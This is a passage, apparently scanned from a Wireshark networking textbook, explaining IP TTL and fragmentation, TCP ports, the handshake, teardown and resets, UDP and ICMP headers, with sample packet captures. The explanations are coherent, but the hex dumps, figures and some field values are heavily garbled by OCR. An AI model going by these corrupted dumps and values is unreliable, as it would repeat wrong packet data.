& Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 
& Ethernet II, Src: 00:21:29:66:71:94 (00:21:29:66:71:94), Dst: 00:21:70:c0:56:f0 (00:21:70:c0:56:f0) 
= Internet Protocol, Src: 10.10.0.3 (10.10.0.3), Dst: 192.168.0.128 (192.168.0.128) 


version: 4 
Header length: 20 bytes 
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00) 
Total Length: 60 
Identification: 0x728d (29325) 
& Flags: 0x00 
Fragment offset: 0 
Time to live: 127 €) 
Protocol: ICMP (1) 
& Header checksum: Oxfdfe [validation disabled] 
Source: 10.10.0.3 (10.10.0.3) 
Destination: 192.168.0.128 (192.168.0.128) 
& Internet Control Message Protocol 


B 


E) 


«[ m > 


0000 00 21 70 cO 56 fO 00 21 71 94 08 00 & 

0010 MEG 8d 00 00 0 e Oa Oa 00 0 

0020 (iUis O8 OO 4d 36 00 O1 61 62 63 64 65 66 ..M6.. .%abcde E 
0030 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 ghijklmn opqrstuv LS 


0040 77 61 62 63 64 65 66 67 68 69 wabcdefg hi T 


Figure 6-12: The IP header tells us that the TTL has been lowered by 1. 


You should immediately notice that the TTL value is 127 @, one less 
than the original TTL of 128. Without even knowing the architecture of the 
network, we can conclude that these two devices are separated by one router 
and that the passage through that router reduced the TTL value by one. 


IP Fragmentation 


Packet fragmentation is a feature of IP that permits reliable delivery of data across 
varying types of networks by splitting a data stream into smaller fragments. 

The fragmentation of a packet is based on the maximum transmission unit 
(MTU) size of the layer 2 data link protocol in use and the configuration of the 
devices using these layer 2 protocols. In most cases, the layer 2 data link pro- 
tocol in use is Ethernet. Ethernet has a default MTU of 1500, which means 
that the maximum packet size that can be transmitted over an Ethernet net- 
work is 1,500 bytes (not including the 14-byte Ethernet header itself). 


Although there are standard MTU settings, the MTU of a device can be reconfigured 
manually in most cases. An MTU setting is assigned on a perinterface basis and can be 
modified on Windows and Linux systems, as well as on the interfaces of managed routers. 
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When a device prepares to transmit an IP packet, it determines whether 
it must fragment the packets by comparing the packet's data size to the MTU 
of the network interface from which the packet will be transmitted. If the 
data size is greater than the MTU, the packet will be fragmented. Fragment- 
ing a packet involves the following steps: 


l. The device splits the data into the number of packets required for 
successful data transmission. 


2. The Total Length field of each IP header is set to the segment size of 
each fragment. 


3. The More Fragments flag is set to 1 on all packets in the data stream, 
except for the last one. 


4. The Fragment Offset field is set in the IP header of the fragments. 


5. The packets are transmitted. 


The file ip frag source.pcap was taken from a computer with the address 
10.10.0.3, transmitting a ping request to a device with address 192.168.0.128. 
Notice that the Info column of the Packet List pane lists two fragmented IP 
packets, followed by the ICMP (ping) request. 

Begin by examining the IP header of packet 1 (see Figure 6-13). 

You can see that this packet is part of a fragment based on the More 
Fragments and Fragment Offset fields. Packets that are fragments either will 
have a positive Fragment Offset value or will have the More Fragments flag 
set. In the first packet, the More Fragments flag is set €, indicating that the 
receiving device should expect to receive another packet in this sequence. 
The Fragment Offset is set to 0 @, indicating this packet is the first in a series 
of fragments. 


li 1 0.000000 10.10.0.3 192.168.0.128 IP Fragmented IP protocol (proto=ICMP 0x01, off=0, ID=7474) [Reassembled in #3] lela 


& Frame 1 (1514 bytes on wire, 1514 bytes captured) 
@ Ethernet II, Src: 00:21:29:66:71:94 (00:21:29:66:71:94), Dst: 00:21:70:c0:56:f0 (00:21:70:c0:56:f0) 
Ej Internet Protocol, src: 10.10.0.3 (10.10.0.3), Dst: 192.168.0.128 (192.168.0.128) 
version: 4 
Header length: 20 bytes 
@ Differentiated services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00) 
i Total Length: 1500 
Identification: 0x7474 (29812) 
E Flags: 0x01 (More Fragments) 
0.. = Reserved bit: Not Set 
.0. = Don't fragment: Not Set 
..1 = More fragments: Set 1 
Fragment offset: 0@ 
Time to live: 127 
Protocol: ICMP (0x01) 
& Header checksum: 0xd677 [validation disabled] 
Source: 10.10.0.3 (10.10.0.3) 
Destination: 192.168.0.128 (192.168.0.128) 
Reassembled IP in frame: 3 
& Data (1480 bytes) 


0010 05 dc 74 74 H9 00 7f O1 d6 77 Oa Oa 00 03 cO a8 "e: Ga See A 
0020 00 80 08 00 de aa 00 01 00 39 61 62 63 64 65 66  ........ . 9abcdef cm 
0030 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 ghijklmn opgrstuv 
0040 77 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f wabcdefg hijklmno 
0050 70 71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 pgrstuvw abcdefgh = 


ANEN EN &4 Gh E- GA En EF 70 71 77 7? 74 FE 76 77 &1 Sib Iman anretinmia 


Figure 6-13: More fragments and fragment offset values can indicate a fragmented packet. 
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The IP header of the second packet (see Figure 6-14) also has the More 
Fragments flag set 6, but in this case, the fragment offset value is 1480 6. 
This is indicative of the 1,500-byte MTU, minus 20 bytes for the IP header. 


lil 2 0.000012 10.10.0.3 192.168.0.128 IP Fragmented IP protocol (proto=ICMP 0x01, off=1480, ID=7474) [Reassembled in aoe So] a | 


& Frame 2 (1514 bytes on wire, 1514 bytes captured) 
& Ethernet II, Src: 00:21:29:66:71:94 (00:21:29:66:71:94), Dst: 00:21:70:c0:56:f0 (00:21:70:c0:56:f0) 
E Internet Protocol, Src: 10.10.0.3 (10.10.0.3), Dst: 192.168.0.128 (192.168.0.128) 
version: 4 
Header length: 20 bytes 
& Differentiated services Field: 0x00 (DscP 0x00: Default; ECN: 0x00) 
Total Length: 1500 
M Identification: 0x7474 (29812) 
E Flags: 0x01 (More Fragments) 
0.. = Reserved bit: Not set 
.0. = Don't fragment: Not Set 
..1 = More fragments: set @ | 
Time to live: 127 | 
Protocol: ICMP (0x01) | 
& Header checksum: Oxd5be [validation disabled] 
Source: 10.10.0.3 (10.10.0.3) 
Destination: 192.168.0.128 (192.168.0.128) 
Reassembled IP in frame: 3 
& Data (1480 bytes) 


«| m J D 
0010 05 dc 74 74 BM) 7f O1 d5 be Oa Oa OO 03 cO a8 E ap " a 
0020 00 80 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e  ..abcdef ghijklmn = 


0030 6f 70 71 72 73 74 75 76 77 61 62 63 64 65 66 67 opgrstuv wabcdefg 
0040 68 69 6a 6b Gc Gd Ge GF 70 71 72 73 74 75 76 77  hijklmno pgrstuvw 
0050 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 abcdefgh ijklmnop = 


NANEN 71 77 72 74 7E 7& 77 &1  &9 G? GA GGE EG &7 &0 EN nretinmin hrdafnhi EM — 


Figure 6-14: The Fragment Offset value increases based on the size of the packets. 


The third packet (see Figure 6-15) does not have the More Fragments 
flag set @, which marks it as the last fragment in the data stream, and the 
Fragment Offset is set to 2960 @, the result of 1480 + (1500 — 20). These frag- 
ments can all be identified as part of the same series of data because they 
have the same values in the Identification field of the IP header 6. 


li 3 0.000018 10.10.0.3 192.168.128 ICMP Echo (ping) request oriee) 


& Frame 3 (582 bytes on wire, 582 bytes captured) 
& Ethernet II, Src: 00:21:29:66:71:94 (00:21:29:66:71:94), Dst: 00:21:70:c0:56:f0 (00:21:70:c0:56:f0) 
E Internet Protocol, src: 10.10.0.3 (10.10.0.3), Dst: 192.168.0.128 (192.168.0.128) 
version: 4 
Header length: 20 bytes 
@ Differentiated services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00) 
Total Length: 568 | 
Identification: 0x7474 (29812) @ | 
N E Flags: 0x00 
0.. = Reserved bit: Not set 
` = Don't fragment: Not set 
..0 = More fragments: Not set @ 
Time to live: 127 
Protocol: ICMP (0x01) | 
& Header checksum: Oxf8a9 [validation disabled] | 
Source: 10.10.0.3 (10.10.0.3) 
Destination: 192.168.0.128 (192.168.0.128) 
@ [IP Fragments (3508 bytes): #1(1480), #2(1480), #3(548)] 
& Internet Control Message Protocol 


| EN m + 
[0010 02 38 74 74 W 7f O1 f8 a9 Oa Oa 00 03 cO a8 Stt... ........ ^ 
(0020 00 80 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 ..ijkImn opgrstuv cam 
|0030 77 61 62 63 64 65 66 67 68 69 Ga 6b 6c Gd Ge 6 wabcdefg hijklmno - 

f - aes antake Blk ha iad 


) | Reassembled IPv4 (3508 bytes) 


Figure 6-15: More Fragments is not set, indicating the last fragment. 
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The ultimate goal of the Transmission Control Protocol (TCP) is to provide end- 
to-end reliability for the delivery of data. TCP, which is defined in RFC 793, 
operates at layer 4 of the OSI model. It handles data sequencing and error 
recovery, and ultimately ensures that data gets where it is supposed to go. A 
lot of commonly used application-layer protocols rely on TCP and IP to deliver 
packets to their final destination. 


The TCP Header 


TCP provides a great deal of functionality, as reflected in the complexity of 
its header. As shown in Figure 6-16, the following are the TCP header fields: 
Source Port The port used to transmit the packet. 
Destination Port The port to which the packet will be transmitted. 


Sequence Number The number used to identify a TCP segment. This 
field is used to ensure that parts of a data stream are not missing. 


Acknowledgment Number The sequence number that is to be 
expected in the next packet from the other device taking part in the 
communication. 


Flags The URG, ACK, PSH, RST, SYN, and FIN flags for identifying the 
type of TCP packet being transmitted. 


Window Size The size of the TCP receiver buffer in bytes. 


Checksum Used to ensure the contents of the TCP header and data are 
intact upon arrival. 


Urgent Pointer If the URG flag is set, this field is examined for addi- 
tional instructions for where the CPU should begin reading the data 
within the packet. 


Options "Various optional fields that can be specified in a TCP packet. 


Transmission Control Protocol 


Bit 
EN 0-3 16-31 


Source Port | DesinaionPot e| Port 


= Sequence Number 


Pp SewexeNnbe 0 | 
| 9e | Sfer [Reserved] Flogs | WindewSie | 
| 160 | Options 


Figure 6-16: The TCP header 


tcp_ports.pcap 


TCP Ports 


All TCP communication takes place using source and destination ports, 
which can be found in every TCP header. A port is like the jack on an old 
telephone switchboard. A switchboard operator would monitor a board of 
lights and plugs. When a light lit up, he would connect with the caller, ask 
who she wanted to talk to, and then connect her to her destination by plug- 
ging in a cable. Every call needed to have a source port (the caller) anda 
destination port (the recipient). TCP ports work in much the same fashion. 

In order to transmit data to a particular application on a remote server 
or device, a TCP packet must know the port the remote service is listening 
on. If you try to access an application on a port other than the one config- 
ured for use, the communication will fail. 

The source port in this sequence is not incredibly important and can be 
selected randomly. The remote server will simply determine the port to com- 
municate with from the original packet it is sent (see Figure 6-17). 


Source Port 1024/Dest Port 80 ——» 


B € 

— Source Port 80/Dest Port 1024 ——— » 
Web Server 

Client Listening on Port 80 


N’ Source Port 3221 /Dest Port 25 ——» 
CNN 
+— Source Port 25/Dest Port 3221 ——— 


Client Email Server 
Listening on Port 25 


Figure 6-17: TCP uses ports to transmit data. 


There are 65,535 ports available for use when communicating with TCP. 
We typically divide these into two groups: 


e The standard port group is from 1 through 1023 (ignoring 0 because it is 
reserved). Particular services use standard ports, which generally lie within 
the standard port grouping. 


e The ephemeral port group is from 1024 through 65535 (although some 
operating systems have different definitions for this). Only one service 
can communicate on a port at any given time, so modern operating sys- 
tems select source ports randomly in an effort to make communications 
unique. These source ports are typically located in the ephemeral range. 


Let's examine a couple of different TCP packets and identify the port 
numbers they are using by opening the file tcp. ports.pcap. In this file, we have 
the HTTP communication ofa client browsing to two websites. As mentioned 
previously, HTTP uses TCP for communication, which makes it a great example 
of standard TCP traffic. 

In the first packet in this file (see Figure 6-18), the first two values represent 
the packet's source port and destination port. This packet is being sent from 
172.16.16.128 to 212.58.226.142. The source port is 2826 6, an ephemeral 
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port. (Remember that source ports are chosen at random by the operating 
system, although they can increment from that random selection.) The desti- 
nation port is a standard port, port 80 @, the standard port used for web 
servers using HTTP. 


lil 1 0.000000 172.16.16.128 212.58.226.142 TCP slc-systemlog > http [SYN] Seq=0 Win=8192 Len-0 MSS=1460 WS=2 Sle aa) 


Frame 1 (66 bytes on wire, 66 bytes captured) 

|@ Ethernet II, Src: Intelcor_5b:7d:4a (00:21:6a:5b:7d:4a), Dst: D-Link 21:99:4c (00:05:5d:21:99:4c) 

& Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 212.58.226.142 (212.58.226.142) 

m Transmission Control Protocol, Src Port: slc-systemlog (2826), Dst Port: http (80), Seq: 0, Len: 0 
Source port: slc-systemlog (2826) @ 
Destination port: http (80) @ 
[stream index: 0] 

Sequence number: O (relative sequence number) 
Header length: 32 bytes 

& Flags: 0x02 (SYN) 
window size: 8192 

& Checksum: Oxcfeb [validation disabled] 

& Options: (12 bytes) 


(0010 00 34 31 7f 40 00 80 06 55 eb ac 10 10 80 d4 3a  .4i.G... U......: 


[A EEYAINOD Oa OO 50 dc 02 24 74 00 00 OO 00 80 02 m 
E20 OO cf eb OO OO O2 O4 205 b4 01 O3 03 O2 O1 O 
|0040 WSS 


Figure 6-18: The source and destination ports can be found in the TCP header. 


4 [ma] > 


L 


Notice that Wireshark labels these ports as slc-systemlog (2826) and http 
(80). Wireshark maintains a list of ports and their most common uses. Although 
these are primarily standard ports, many ephemeral ports have commonly 
used services associated with them. The labeling of these ports can be quite 
confusing, so it’s typically best to disable it by turning off transport name res- 
olution. To do so, choose Edit » Preferences » Name Resolution, and then 
remove the check mark next to Enable Transport Name Resolution. If you 
wish to leave this functionality enabled but want to change how Wireshark 
identifies a certain port, you can do so by modifying the Services file located 
in the Wireshark program directory, which is based on the Internet Assigned 
Numbers Authority (IANA) common ports listing. 

The second packet is being sent back from 212.58.226.142 to 172.16.16.128 
(see Figure 6-19). As with the IP addresses, the source and destination ports 
are now also switched 6. 


z 
E 2 0122627 212.58.226.142 172.16.16.128 TCP http > slc-systemlog [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1406 WS=7 balak) 


& Frame 2 (66 bytes on wire, 66 bytes captured) 
& Ethernet II, Src: D-Link 21:99:4c (00:05:5d:21:99:4c), Dst: IntelCor 5b:7d:4a (00:21:6a:5b:7d:4a) 
& Internet Protocol, Src: 212.58.226.142 (212.58.226.142), Dst: 172.16.16.128 (172.16.16.128) 
m Transmission Control Protocol, src Port: http (80), Dst Port: slc-systemlog (2826), Seq: 0, Ack: 1, Len: O 
Source port: http (80) 
O destination port: slc-systemlog (2826) 
[stream index: 0] 
Sequence number: O (relative sequence number) 
Acknowledgement number: 1 (relative ack number) 
Header length: 32 bytes 
Flags: 0x12 (SYN, ACK) 
window size: 5840 
E Checksum: Ox9acO [validation disabled] 
E Options: (12 bytes) 
& [sEQ/ACK analysis] 


0010 00 34 00 OO OO OO 31 06 16 6b d4 3a e2 8e ac 10 
0020 10 80 WUEEDEDUEDGENOCECIEEMECEETSEG EGET 75 80 12| 
(PENE G dO 9a cO 00 OO O2 04 05 7e O1 01 O4 O2 O1 03 
0040 WESI 


‘i> 


Figure 6-19: The source and destination port numbers are switched for reverse communication. 


NOTE 


tcp handshake 
.pcap 


All TCP-based communication works the same way: a random source 
port is chosen to communicate to a known destination port. Once this initial 
packet is sent, the remote device communicates with the source device using 
the established ports. 

There is one more communication stream included in this sample cap- 
ture file. See if you can locate the port numbers it uses for communication. 


As we progress through this book, you will learn more about the ports associated with 
common protocols and services. Eventually, you will be able to profile services and 
devices by the ports they use. For a thorough list of common ports, see http://www 
Jana.org/assignments/port-numbers/. 


The TCP Three-Way Handshake 


All TCP-based communication must begin with a handshake between two 
hosts. This handshake process serves a few different purposes: 


e It allows the transmitting host to ensure that the destination host is up 
and able to communicate. 


e Itletsthe transmitting host check that it is listening on the port on which 
the source is attempting to communicate. 


e It allows the transmitting host to send its starting sequence number to 
the recipient so that both hosts can keep the stream of packets in proper 
sequence. 


The TCP handshake occurs in three separate steps, as shown in Figure 6-20. 
In the first step, the device that wants to communicate (host A) sends a TCP 
packet to its target (host B). This initial packet contains no data other than 
the lower-layer protocol headers. The TCP header in this packet has the SYN 
flag set and includes the initial sequence number and maximum segment 
size (MSS) that will be used for the communication process. Host B responds 
to this packet by sending a similar packet with the SYN and ACK flags set, 
along with its initial sequence number. Finally, host A sends one last packet 
to host B with only the ACK flag set. Once this process is completed, both 
devices should have all of the information they need to begin communicat- 


ing properly. 


SYN 


SYN/ACK 


ACK 


Figure 6-20: The TCP three-way handshake 
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TCP packets are often referred to by the flags they have set. For example, rather than 
refer to a packet as a TCP packet with the SYN flag set, we call that packet a SYN 
packet. As such, the packets used in the TCP handshake process are referred to as SYN, 


SYN/ACK, and ACK. 


To see this process in action, open tcp_handshake.pcap. Wireshark includes 
a feature that replaces the sequence numbers of TCP packets with relative 
numbers for easier analysis. For our purposes, we’ll disable this feature in 
order to see the actual sequence numbers. To disable it, choose Edit > 
Preferences, expand the Protocols heading, and choose TCP. In the win- 
dow, uncheck the box next to Relative Sequence Numbers and Window Scal- 
ing, and then click OK. 

The first packet in this capture represents our initial SYN packet (see 
Figure 6-21). The packet is transmitted from 172.16.16.128 on port 2826 to 
212.58.226.142 on port 80. We can see here that the sequence number trans- 
mitted is 3691127924 @. 


lil 1 0.000000 172.16.16.128 212.58.226.142 TCP slc-systemlog > http [SYN] Seq=3691127924 Win=8192 Len=0 MSS=1460 WS=2 Se 


& Frame 1 (66 bytes on wire, 66 bytes captured) 
@ Ethernet II, src: IntelCor 5b:7d:4a (00:21:6a:5b:7d:4a), Dst: D-Link 21:99:4c (00:05:5d:21:99:4c) 


@ Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 212.58.226.142 (212.58.226.142) 


B Transmission Control Protocol, Src Port: slc-systemlog (2826), Dst Port: http (80), Seq: 3691127924, Len: O 
Source port: slc-systemlog (2826) 
Destination port: http (80) 
[stream index: 0] 
Sequence number: 3691127924 [1] 


i] Header length: 32 bytes 
| © Flags: 0x02 (SYN) 
M Obes uis - Congestion window Reduced (CWR): Not set 


ECN-Echo: Not set 
Urgent: Not set 
Acknowledgement: Not set 
Push: Not set 
Reset: Not set 
Syn: Set 
- Fin: Not set 
window size: 8192 
® Checksum: Oxcfeb [validation disabled] 
E Options: (12 bytes) 
Maximum segment size: 1460 bytes 
NOP 
window scale: 2 (multiply by 4) 
NOP 
NOP 
SACK permitted 


[i 


0010 00 34 31 7f 40 00 80 06 55 eb ac 10 10 80 d4 3a 
0020 e2 8e QHEETE E 4 74 00 00 00 00 80 0 
0030 0 00 cf eb 00 OO 02 04 05 b4 01 03 03 02 01 01| 
0040 4 02| 


mj 


Figure 6-21: The initial SYN packet 


The second packet in the handshake is the SYN/ACK response from 
212.58.226.142 (see Figure 6-22). This packet also contains this host's 
initial sequence number (233779340) € and an acknowledgment number 
(3691127925) 0. The acknowledgment number shown here is one more 
than the sequence number included in the previous packet, because this 
field is used to specify the next sequence number the host expects to 


receive. 


tcp feardown 
.pcap 


V 2 0132627 212.58.226.142 172.16.16.128 TCP http > slc-systemlog [SYN, ACK] Seq=233779340 Ack- 3691127925 Win- 5840 Len-0 MSS=1406 WS=7 r=) 


Frame 2 (66 bytes on wire, 66 bytes captured) 

Œ Ethernet II, Src: D-Link 21:99:4c (00:05:5d:21:99:4c), Dst: IntelCor 5b:7d:4a (00:21:6a:5b:7d:4a) 

& Internet Protocol, src: 212.58.226.142 (212.58.226.142), Dst: 172.16.16.128 (172.16.16.128) 

m Transmission Control Protocol, Src Port: http (80), Dst Port: slc-systemlog (2826), Seq: 233779340, Ack: 3691127925, Len: 0 


Source port: http (80) 
Destination port: slc-systemlog (2826) 
[stream index: 0] 
Sequence number: 233779340 @ 
' Acknowledgement number: 3691127925 @ | 
Header length: 32 bytes 
© Flags: 0x12 (SYN, ACK) 
. = Congestion window Reduced (CWR): Not set 
ECN-Echo: Not set 
Urgent: Not set 
Acknowledgement: set 
Push: Not set 
Reset: Not set 
Syn: Set 
0 = Fin: Not set 
window size: 5840 
& Checksum: Ox9acO [validation disabled] 
B Options: (12 bytes) 
Maximum segment size: 1406 bytes 
NoP 
NoP 
SACK permitted 
NoP 
window scale: 7 (multiply by 128) 
& [SEQ/ACK analysis] 


0010 00 34 00 00 90 00 E! o6 16 6b da ER e2 8e ac 2o 
0020 10 80 (m 


0a 
0040 [ESM 


Figure 6-22: The SYN/ACK response 


] * 


‘a 


The final packet is the ACK packet sent from 172.16.16.128 (see 
Figure 6-23). This packet, as expected, contains the sequence number 
3691127925 @ as defined in the previous packet’s Acknowledgment 
Number field. 


Vl 3 0.132768 172.16.16.128 212.58.226.142 TCP slc-systemlog > http [ACK] Seq=3691127925 Ack=233779341 Win=4218 Len=0 Se) 


(8 Frame 3 (54 bytes on wire, 54 bytes captured) 
H Ethernet II, Src: Intelcor 5b:7d:4a (00:21:6a:5b:7d:4a), Dst: D-Link 21:99:4c (00:05:5d:21:99:4c) 
@ Internet Protocol, src: 172.16.16.128 (172.16.16.128), Dst: 212.58.226.142 (212.58.226.142) 


m Transmission Control Protocol, src Port: slc-systemlog (2826), Dst Port: http (80), Seq: 3691127925, Ack: 233779341, Len: 0 
Source port: slc-systemlog (2826) 
Destination port: http (80) 
[stream index: 0] 
Sequence number: 3691127925 @ 
Acknowledgement number: 233779341 
Header length: 20 bytes 
E Flags: 0x10 (ACK) 
0. ongestion window Reduced (CWR): Not set 
CN-Echo: Not set 
rgent: Not set 
Acknowledgement: Set 
Push: Not set 
Reset: Not set 
Syn: Not set 
0 = Fin: Not set 
window size: 4218 
Æ Checksum: Oxelb2 [validation disabled] 
@ [SEQ/ACK analysis] 


(0000 00 05 5d 21 99 4c 00 21 6a 5b 7d 4a 08 00 45 00 ‘dia Let fj -E. 
0010 00 28 31 80 40 00 80 06 ED f6 ac 10 10 80 dà da i Soa 
[0020  e2 8e WINDEWSONEDNSISNS Hi 

0030 MEESI b2 00 00 


Figure 6-23: The final ACK 


A handshake occurs before every TCP communication sequence. When 
sorting through a busy capture file in search of the beginning of a communi- 


cation sequence, the sequence of SYN-SYN/ACK-ACK is a great marker. 


TCP Teardown 


Most greetings eventually have a good-bye, and in the case of TCP, every 


handshake has a teardown. The TCP teardown is used to gracefully end a con- 


nection between two devices after they have finished communicating. This 


process involves four packets, and it utilizes the FIN flag to signify the end of 


a connection. 
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In a teardown sequence, host A tells host B that it is finished commu- 
nicating by sending a TCP packet with the FIN and ACK flags set. Host B 
responds with an ACK packet, and transmits its own FIN/ACK packet. 
Host A responds with an ACK packet, ending the communication process. 
This process is illustrated in Figure 6-24. 


FIN/ACK 


ACK 


FIN/ACK 


ACK 


Figure 6-24: The TCP teardown process 


To view this process in Wireshark, open the file tcp teardown.pcap. Begin- 
ning with the first packet in the sequence, (see Figure 6-25), you can see that 
the device at 67.228.110.120 initiates the teardown sequence by sending a 
packet with the FIN and ACK flags set 6. 


li) 1 0.000000 67.228.110.120 172.16.16.128 TCP http > nati-vi-server [FIN, ACK] Seq=822643295 Ack=2079380537 Win=71 Len-0 [EIE 


m Frame 1 (60 bytes on wire, 60 bytes captured) 
& Ethernet II, Src: D-Link 21:99:4c (00:05:5d:21:99:4c), Dst: IntelcCor 5b:7d:4a (00:21:6a:5b:7d:4a) 
& Internet Protocol, Src: 67.228.110.120 (67.228.110.120), Dst: 172.16.16.128 (172.16.16.128) 
© Transmission Control Protocol, Src Port: http (80), Dst Port: nati-vi-server (3363), Seq: 822643295, Ack: 2079380537, Len: O 
Source port: http (80) 
Destination port: nati-vi-server (3363) 
[stream index: 0] 
fl Sequence number: 822643295 
i Acknowledgement number: 2079380537 
i Header length: 20 bytes 
© Flags: 0x11 (FIN, ACK) 
+ ++++ = Congestion window Reduced (CWR): Not set 
ECN-Echo: Not set 
Urgent: Not set 
Acknowledgement: Set 
Push: Not set 
eset: Not set 
Syn: Not set 
. Fin: set 
w size: 71 


hecksum: 0x279b [validation disabled] 


Figure 6-25: The FIN/ACK initiates the teardown process. 


Once this packet is sent, 172.16.16.128 responds with an ACK packet to 
acknowledge receipt of the first packet, and it sends a FIN/ACK packet. The 
process is complete when 67.228.110.120 sends a final ACK. At this point, the 
communication between the two devices ends, and they must complete a 
new TCP handshake in order to begin communicating again. 


tcp . 
refuseconnection 


.pcap 


TCP Resets 


In an ideal world, every connection would end gracefully with a TCP tear- 
down. In reality, connections often end abruptly. For example, this may 
occur due to a potential attacker performing a port scan or simply a miscon- 
figured host. In these cases, a TCP packet with the RST flag set is used. The 
RST flag is used to indicate a connection was closed abruptly or to refuse a 
connection attempt. 

The file tcp. refuseconnection.pcap displays an example of network traffic 
that includes a RST packet. The first packet in this file is from the host at 
192.168.100.138, which is attempting to communicate with 192.168.100.1 
on port 80. What this host doesn't know is that 192.168.100.1 isn't listening on 
port 80 because it is a Cisco router, with no web interface configured, mean- 
ing that no service is listening for connections on port 80. In response to this 
attempted communication, 192.168.100.1 sends a packet to 192.168.100.138, 
telling it that communication won't be possible over port 80. Figure 6-26 
shows the abrupt end to this attempted communication in the TCP header 
of the second packet. The RST packet contains nothing other than RST and 
ACK flags @, and no further communication follows. 

An RST packet ends communication whether it arrives at the beginning 
of an attempted communication sequence, as in this example, or is sent in 
the middle of the communication between hosts. 


lil] 2 0.001216 192.168.100.1 192.168.100.138 TCP http > tip2 [RST, ACK] Seq=0 Ack-951057940 Win=0 Len=0 Eam] 


& Frame 2 (60 bytes on wire, 60 bytes captured) 

Œ Ethernet II, Src: Cisco 4b:cO:7f (00:12:80:4b:c0:7f), Dst: CompalCo b8:59:b1 (00:16:d4:b8:59:b1) 

@ Internet Protocol, Src: 192.168.100.1 (192.168.100.1), Dst: 192.168.100.138 (192.168.100.138) 
Transmission Control Protocol, src Port: http (80), Dst Port: tip2 (3372), Seq: 0, Ack: 951057940, Len: 0 


Source port: http (80) 
Destination port: tip2 (3372) 
[stream index: 0] 
Í Sequence number: 0 
WM Acknowledgement number: 951057940 
Header length: 20 bytes 
Flags: 0x14 (RST, ACK) 

scis - Congestion window Reduced (CWR): Not set 
ECN-Echo: Not set 
Urgent: Not set 
Acknowledgement: set 
Push: Not set 
Reset: Set 
Syn: Not set 
Fin: Not set 


window size: O 
checksum: Ox21b4 [validation disabled] 
[SEQ/ACK analysis] 


0000 UU 16 d4 bë 59 bl VU 12 BU 4D CU /f U8 VU 45 OU  ....Y... .K....E. 
0010 00 28 47 b7 OO 00 ff 06 2a 3c cO a8 64 01 cO a8 .Q..... *<..d... 


(PINE TEEENOO 50 Od 2c 00 00 00 00 38 af fe 14 50 gemma 
0030 GONT 0000 00 00 00 00 = EHE. .... 


Figure 6-26: The RST and ACK flags signify the end of communication. 


User Datagram Protocol 


The User Datagram Protocol (UDP) is the other layer 4 protocol commonly used 
on modern networks. While TCP is designed for reliable data delivery with 
builtin error checking, UDP aims to provide speedy transmission. For this 
reason, UDP is a best-effort service, commonly referred to as a connectionless 
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protocol. A connectionless protocol does not formally establish and terminate 
a connection between hosts, unlike TCP with its handshake and teardown 
processes. 

With a connectionless protocol, which doesn't provide reliable services, 
it would seem that UDP traffic would be flaky at best. That would be true, 
except that the protocols that rely on UDP typically have their own built-in 
reliability services, or use certain features of ICMP to make the connection 
somewhat more reliable. For example, the application-layer protocols DNS 
and DHCP, which are highly dependent on the speed of packet transmission 
across a network, use UDP as their transport layer protocol, but they handle 
error checking and retransmission timers themselves. 


The UDP Header 
The UDP header is much smaller and simpler than the TCP header. As shown 
in Figure 6-27, the following are the UDP header fields: 
Source Port The port used to transmit the packet 
Destination Port The port to which the packet will be transmitted 
Packet Length The length of the packet in bytes 


Checksum Used to ensure that the contents of the UDP header and 
data are intact upon arrival 


User Datagram Protocol 


Bit 


Figure 6-27: The UDP header 


The file udp_dnsrequest.pcap contains one packet. This packet represents 
a DNS request, which uses UDP. When you expand the packet's UDP header, 
you'll see four fields (see Figure 6-28). 


E 1 0.000000 192.168.100.138 192.168.100.1 DNS Standard query A wireshark.org Sa) 


Frame 1 (73 bytes on wire, 73 bytes captured) 
& Ethernet II, Src: Compalco_b8:59:b1 (00:16:d4:b8:59:b1), Dst: Cisco 4b:c0:7f (00:12:80:4b:c0:7f) 
& Internet Protocol, Src: 192.168.100.138 (192.168.100.138), Dst: 192.168.100.1 (192.168.100.1) 
|= User Datagram Protocol, Src Port: polestar (1060), Dst Port: domain (53) 
Source port: polestar (1060) 
Destination port: domain (53) 
Length: 39 
@ checksum: Ox6d5a [validation disabled] 
||& Domain Name System (query) 


5010 00 3b if 27 00 00 80 11 di ac cO a8 64 Ba cO a8 ae ee 

0020 64 01 18 Of 01 00 0001  d.BSERMEZX...... 
||0030 00 00 00 00 00 00 09 77 69 72 65 73 68 61 72 6b  ....... w Treshark 
0040 03 6f 72 67 00 00 01 00 01 org... 


m» 


‘i 


L 


Figure 6-28: The contents of a UDP packet are very simple. 


The key point to remember is that UDP does not care about reliable 
delivery. Therefore, any application that uses UDP must take special steps 
to ensure reliable delivery, if it is necessary. 


Internet Control Message Protocol 


NOTE 


Internet Control Message Protocol (ICMP) is the utility protocol of TCP/IP, 
responsible for providing information regarding the availability of devices, 
services, or routes on a TCP/IP network. Most network troubleshooting 
techniques and tools center around common ICMP message types. ICMP 
is defined in RFC 792. 


The ICMP Header 


ICMP is part of IP, and it relies on IP to transmit its messages. ICMP contains 
a relatively small header that changes depending on its purpose. As shown in 
Figure 6-29, the ICMP header contains the following fields: 


Type The type or classification of the ICMP message, based on the RFC 
specification 


Code The subclassification of the ICMP message, based on the RFC 
specification 


Checksum Used to ensure that the contents of the ICMP header and 
data are intact upon arrival 


Variable A portion that depends on the Type and Code fields 


Internet Control Message Protocol 


Bit 
i is i 


D [ e [9m p em] 


Figure 6-29: The ICMP header 


ICMP Types and Messages 


As noted, the structure of an ICMP packet depends on its purpose, as defined 
by the values in the Type and Code fields. 

You might consider the ICMP Type field as the packet’s classification 
and the Code field as its subclass. For example, a Type field value of 3 indi- 
cates “Destination Unreachable.” While this information alone might not be 
enough to troubleshoot a problem, if that packet were to also specify a Code 
field value of 3, indicating “Port Unreachable,” you could conclude that there 
